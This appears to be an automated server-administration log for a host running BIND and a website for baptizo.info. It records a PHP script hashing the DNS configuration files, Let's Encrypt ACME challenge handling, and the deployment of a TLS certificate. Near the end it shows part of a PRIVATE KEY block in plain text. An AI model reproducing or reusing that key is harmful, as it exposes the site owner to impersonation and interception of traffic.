VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-02 16:22:14: Establishing a connection
2026-03-02 16:22:14: 

PUT: /tmp/pkp499483

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 16:22:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp499483; rm /tmp/pkp499483'

2026-03-02 16:22:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-03 06:00:02: Establishing a connection
2026-03-03 06:00:02: Establishing a connection
2026-03-03 06:00:03: 

PUT: /tmp/pkp431049

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-03 06:00:03: 

chmod 755 /tmp/pkp431049; /tmp/pkp431049; rm /tmp/pkp431049

2026-03-03 06:00:03: 


1


2026-03-03 06:00:05: Establishing a connection
2026-03-03 06:00:05: 

PUT: /tmp/pkp637202

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > v4LVoBO8hoyLB7xbmrL1GtqY92fRtxBJihcFqEowR88 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
v4LVoBO8hoyLB7xbmrL1GtqY92fRtxBJihcFqEowR88.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 v4LVoBO8hoyLB7xbmrL1GtqY92fRtxBJihcFqEowR88
cat > YAlujh2rCC2szcFcMAPHwTlBJ8Bjr7sOwMGHNvYOH9c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YAlujh2rCC2szcFcMAPHwTlBJ8Bjr7sOwMGHNvYOH9c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YAlujh2rCC2szcFcMAPHwTlBJ8Bjr7sOwMGHNvYOH9c


2026-03-03 06:00:05: 

chmod 755 /tmp/pkp637202; /tmp/pkp637202; rm /tmp/pkp637202

2026-03-03 06:00:05: 




2026-03-03 06:00:14: Establishing a connection
2026-03-03 06:00:14: 

PUT: /tmp/pkp911271

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm v4LVoBO8hoyLB7xbmrL1GtqY92fRtxBJihcFqEowR88
rm YAlujh2rCC2szcFcMAPHwTlBJ8Bjr7sOwMGHNvYOH9c


2026-03-03 06:00:14: 

chmod 755 /tmp/pkp911271; /tmp/pkp911271; rm /tmp/pkp911271

2026-03-03 06:00:14: 




2026-03-03 06:00:14: Establishing a connection
2026-03-03 06:00:14: 

PUT: /tmp/pkp395650

#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt

cat > $temp_file <<'endmsg'
92:bc:e1:25:06:70:03:13:16:71:73:c5:31:10:57:db

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBamb+mUK18nEf72Nl0kGsvhAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAzMDUwMTQzWhcNMjYwNjAxMDUwMTQyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCa
43Sok5HmdADQeXlwt0jZviWnq6nVUF/3sUzwA4OSjaKFHlWM1XOKcON/0Rkmz9AI
33uSRHTXTgiaiftCSf6g/RoIQHnWA+znzifcmRho3OCVzuYjAnwyHUUB1eQSpyKz
JWMWuqvhr9DWu0tqKgMMnR+i6RJwTeu4VSPwVvG3mEAbtetp6CVdY5HknIc8TdYF
iJJJte3MRAAq3c48ImHOQWysirzAYX1/xNmnP3C6GrOfHLQoN4HjephVcIZml5C8
cPLzX5Pah17Uhe7fxHQfAWvhDGNszU4b5VUYSh3TRwpmWJXbcL02sTtiNAInKXut
GMHYeCxzvhgZGPrSCS7/AgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUR5B3rwOC
+H5i6Q9YjyBfEkIWdegwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy82NS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBJ
nJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyySF+vAAAEAwBHMEUC
IEQA+/914wvZ2NtdnG9e9JnU0xyftPMJQdMGPEWJ5o/pAiEA+06eVDsJXR+3FbeL
Wj8KfuXjKfu/CPcPNbLnkFkzamsAdwDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj1
6TGzI8uVBAAAAZyySGCqAAAEAwBIMEYCIQCDmPZ1y6Nr0J4KmeVxLk4+OX0YbuNs
ELT1eLam9VFuJgIhAPIIcvooHVgtxTy3L9TqGvX3LMPT8RHsHrwSJp315NAzMA0G
CSqGSIb3DQEBCwUAA4IBAQBLGCLhw3Yp+QNI4NeaOor0qG8AD+aiIYvmcnaO0teF
HPMGHJpDnnzRAy8eoQNXWSjJTpbjmjhBG9jDp7o+hZklpyErLoqV1xJkySnUxdbT
KSldqisgTgURdXYdxHsHfqRtNGKs4aiw5iGQOVbZZZRFC+T+sg6GqB6qrbCObkZZ
xY+Nxs8s6SpIYaXo7ETgS0ryrynJShFVKZkhXj4WFl7OtWcwKmIfEGwruuoeO1ZS
OPvvmSbY82fy1jKqYE/RWgrk8sONMXhpgpvmdM6505BG5wSbIwo5ovDL+f0/vZoB
TVnInbhsPh3nUDQB/NKQTRl4FfA9+Fv8ccuKsfJenYsr
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCa43Sok5HmdADQ
eXlwt0jZviWnq6nVUF/3sUzwA4OSjaKFHlWM1XOKcON/0Rkmz9AI33uSRHTXTgia
iftCSf6g/RoIQHnWA+znzifcmRho3OCVzuYjAnwyHUUB1eQSpyKzJWMWuqvhr9DW
u0tqKgMMnR+i6RJwTeu4VSPwVvG3mEAbtetp6CVdY5HknIc8TdYFiJJJte3MRAAq
3c48ImHOQWysirzAYX1/xNmnP3C6GrOfHLQoN4HjephVcIZml5C8cPLzX5Pah17U
he7fxHQfAWvhDGNszU4b5VUYSh3TRwpmWJXbcL02sTtiNAInKXutGMHYeCxzvhgZ
GPrSCS7/AgMBAAECggEAC4En5JpAGjR1Qlw2I3j8WG6xtaW1XH/2/jBgAmyDD4B6
rlWQTYDQmgYEN+BhnwriLQ6LIKmks2tQjfNVbi6N0wpfA8w6NdBz08ycabEWFDqN
FJjaFNv15UkG8PnLUiwHkp6NIMk7xBcpirw9qpnf68YYl/f6OSI93HgNI9MUFYAE
DZGbPtcR88kA7f+RSrmvlpC9UgJP8/gXngvyfat81/hdYNXFUw1PRrsMwcoZDdAC
ewWgG1z/r8wbHeuSL/wD8eRxYpmti/7f5CLWsogtzDEkMHlXXe5D7qB9rie97c6J
yK9JFMvFKwaDMN0ddQdcY0GjP+b36M2EpzFO0N9AUQKBgQDVVPr5wOEVqrG6Rbhx
QVYo8KS+ErHjsWOL11H4phHwuj8s6Vt18dspbCRCzieRjHDzvjFiked33+3U8ROH
KG625J0BvwpUkF4wphXsugHCgpiRaZ6kcyq51McsCaI5Bt2XXUo3B/kE5seGu8VG
FOjMqLYBi3mXz7T1G2nm4bFR7wKBgQC53g3qKQPvMjglaz0kCGWL9EIRVn4loUA+
